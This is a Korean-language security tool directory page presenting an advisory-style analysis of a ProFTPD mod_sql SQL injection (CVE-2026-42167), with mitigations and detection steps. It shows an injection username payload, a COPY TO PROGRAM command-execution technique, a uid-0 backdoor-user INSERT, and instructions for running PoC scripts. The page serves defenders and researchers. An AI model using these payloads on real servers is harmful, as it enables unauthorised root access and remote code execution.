Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-42167 — CVE-2026-42167에 대한 기술 분석 및 개념 증명으로, ProFTPD mod_sql의 치명적인 SQL 인젝션으로 인증 우회, 백도어 사용자 주입, 원격 코드 실행이 가능합니다. | Kitploit
도구/GitHubGitHub/kaleth4/cve-2026-42167
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubkaleth4/cve-2026-42167

CVE-2026-42167

CVE-2026-42167에 대한 기술 분석 및 개념 증명으로, ProFTPD mod_sql의 치명적인 SQL 인젝션으로 인증 우회, 백도어 사용자 주입, 원격 코드 실행이 가능합니다.

저장소 보기
54개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-42167: ProFTPD mod_sql SQL 인젝션

📋 요약

CVE-2026-42167은 ProFTPD의 mod_sql 모듈에서 발견된 심각한 SQL 인젝션 취약점으로, 인증 우회, 백도어 사용자 주입, 원격 코드 실행(RCE) 을 가능하게 합니다.

속성값
유형SQL 인젝션 (CWE-89)
심각도높음/치명적
CVSS v38.1
구성 요소ProFTPD < 1.3.9a의 mod_sql
보고자ZeroPath Research
날짜2026년 4월 28일

🔍 기술적 설명

문제: is_escaped_text()의 취약한 검증

ProFTPD는 SQL 쿼리에 값을 삽입하기 전에 값이 이미 정화되었는지 확인하기 위해 is_escaped_text() 함수를 사용합니다. 이 함수는 다음 조건을 충족하는 모든 입력을 이미 이스케이프되어 추가 처리가 필요하지 않다고 가정합니다:

  • 작은따옴표 '로 시작
  • 작은따옴표 '로 끝
  • 내부에 작은따옴표가 없음

익스플로잇

공격자는 다음과 같은 악성 사용자 이름을 보낼 수 있습니다:

root@kitploit:~
USER ' || (SELECT 1) ||'

이것이 다음과 같은 SQL 쿼리에 삽입되면:

root@kitploit:~
INSERT "'%U', '%r', '%m'" activity_log

다음과 같이 실행됩니다:

root@kitploit:~
INSERT "'' || (SELECT 1) || ''" activity_log

|| 연산자가 주입된 명령 주위에 빈 문자열을 연결하므로 페이로드가 임의의 SQL로 실행됩니다.


⚠️ 영향 시나리오

1️⃣ 원격 코드 실행 (RCE)

요구 사항:

  • PostgreSQL 백엔드
  • 슈퍼유저 권한이 있는 데이터베이스 사용자
  • %U 또는 %{basename} 변수를 사용하는 SQL 로깅 활성화

기법:

root@kitploit:~
COPY (SELECT 1) TO PROGRAM '악성_명령'

postgres 사용자 권한으로 운영 체제 수준 명령을 실행합니다.

2️⃣ 인증 우회

요구 사항:

  • SQLAuthenticate 활성화
  • SQLLog ERR_*(인증 전)에 %U 변수를 사용하는 SQL 로깅

기법:

root@kitploit:~
INSERT INTO users (username, password, uid, homedir) 
VALUES ('attacker', 'password_hash', 0, '/')

공격자는 uid=0(root) 및 전체 파일 시스템 접근 권한을 가진 백도어 사용자를 주입합니다.

3️⃣ 데이터 유출

요구 사항:

  • 모든 SQL 백엔드
  • SQL 로깅 활성화

기법: 시간 기반 블라인드 SQL 인젝션을 사용하여 자격 증명을 문자 단위로 추출합니다.


📊 공격 벡터

공격자가 제어하는 변수

변수의미범위
%U원래 사용자 이름(인증 전)인증 전
%A익명 로그인 비밀번호인증 전
%J명령 매개변수인증 전
%mFTP 동사(STOR, RETR 등)인증 전
%{basename}파일 이름 구성 요소인증 후
%lident 응답 (RFC 1413)인증 전(identd 사용 가능 시)

익스플로잇 경로

인증 전(가장 치명적):

root@kitploit:~
%U + SQLLog ERR_* → 자격 증명 불필요

인증 후:

root@kitploit:~
%{basename} + SQLLog STOR → 유효한 FTP 사용자 필요

🛡️ 완화 및 해결 방법

✅ 권장 해결 방법

즉시 ProFTPD 1.3.9a 이상으로 업데이트:

root@kitploit:~
# 현재 버전 확인
proftpd -v

# 업데이트 (Debian/Ubuntu 예시)
sudo apt-get update
sudo apt-get install proftpd-basic=1.3.9a-1

🔧 임시 완화 조치

즉시 업데이트할 수 없는 경우:

  1. SQL 로깅 비활성화:
root@kitploit:~
# proftpd.conf에서 다음 줄을 주석 처리하거나 제거
# SQLLog * log_activity
# SQLLog ERR_* log_activity
  1. 최소 권한 원칙 적용:
root@kitploit:~
-- PostgreSQL에서 슈퍼유저 권한이 없는 사용자 생성
CREATE USER proftpd_user WITH PASSWORD 'secure_password';
GRANT SELECT, INSERT ON activity_log TO proftpd_user;
-- SUPERUSER 권한 부여 금지
  1. 익스플로잇 시도 모니터링:
root@kitploit:~
TraceLog /var/log/proftpd/trace.log
Trace sql:17

🔎 취약점 확인

침해 지표

ProFTPD 추적 로그에서(Trace sql:17 활성화 시) 다음을 검색:

root@kitploit:~
text 'payload' is already escaped, skipping escaping it again

이 메시지는 우회 시도가 취약한 엔진에 의해 처리되었음을 나타냅니다.

확인 명령

root@kitploit:~
# 상세 추적 활성화
echo "Trace sql:17" >> /etc/proftpd/proftpd.conf

# ProFTPD 재시작
sudo systemctl restart proftpd

# 로그 모니터링
tail -f /var/log/proftpd/trace.log | grep "already escaped"

📦 버전 정보

버전상태
< 1.3.9❌ 취약
1.3.9❌ 취약
≥ 1.3.9a✅ 패치됨
≥ 1.3.10rc1✅ 패치됨

🧪 개념 증명 (PoC)

공식 저장소

GitHub: ZeroPathAI/proftpd-CVE-2026-42167-poc

Docker 빠른 설정

root@kitploit:~
# 저장소 클론
git clone https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc.git
cd proftpd-CVE-2026-42167-poc

# 요구 사항
# - Docker
# - Git
# - Python 3.10+
# - uv (Python 패키지 관리자)

# 취약한 환경 설정
cd setup
./setup.sh

# PoC 실행
cd ../pocs
python3 preauth_user_backdoor.py      # 백도어 사용자 주입 (인증 전)
python3 preauth_user_rce.py           # COPY TO PROGRAM을 통한 RCE (인증 전)
python3 postauth_stor_backdoor.py     # 사용자 주입 (인증 후)
python3 postauth_stor_rce.py          # RCE (인증 후)

# 정리
cd ../setup
./teardown.sh

📅 타임라인

날짜이벤트
2026-03-28ProFTPD에 취약점 보고
2026-04-07검증 및 패치 개발
2026-04-24CVE-2026-42167 할당
2026-04-27패치 릴리스 (커밋 af90843baf7dcb8c6be1e5261be2d0b5b5850673)
2026-04-27ProFTPD 1.3.9a 릴리스

📚 참고 자료

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-42167
  • 기술 블로그: https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce
  • PoC 저장소: https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc
  • 릴리스 노트: http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1
  • 토론: https://github.com/proftpd/proftpd/issues/2052

⚡ 최종 권장 사항

  1. 즉시 조치: ProFTPD를 1.3.9a 이상으로 업데이트
  2. 감사: 모든 ProFTPD 서버의 SQLLog 구성 검토
  3. 권한: 데이터베이스 사용자에게 슈퍼유저 권한이 없는지 확인
  4. 모니터링: SQL 인젝션 시도에 대한 알림 구현
  5. 패치: 모든 종속성에 대한 정기적인 패치 프로그램 유지

최종 업데이트: 2026년 4월 28일
출처: ZeroPath Research, MITRE CVE, NVD

도구 다운로드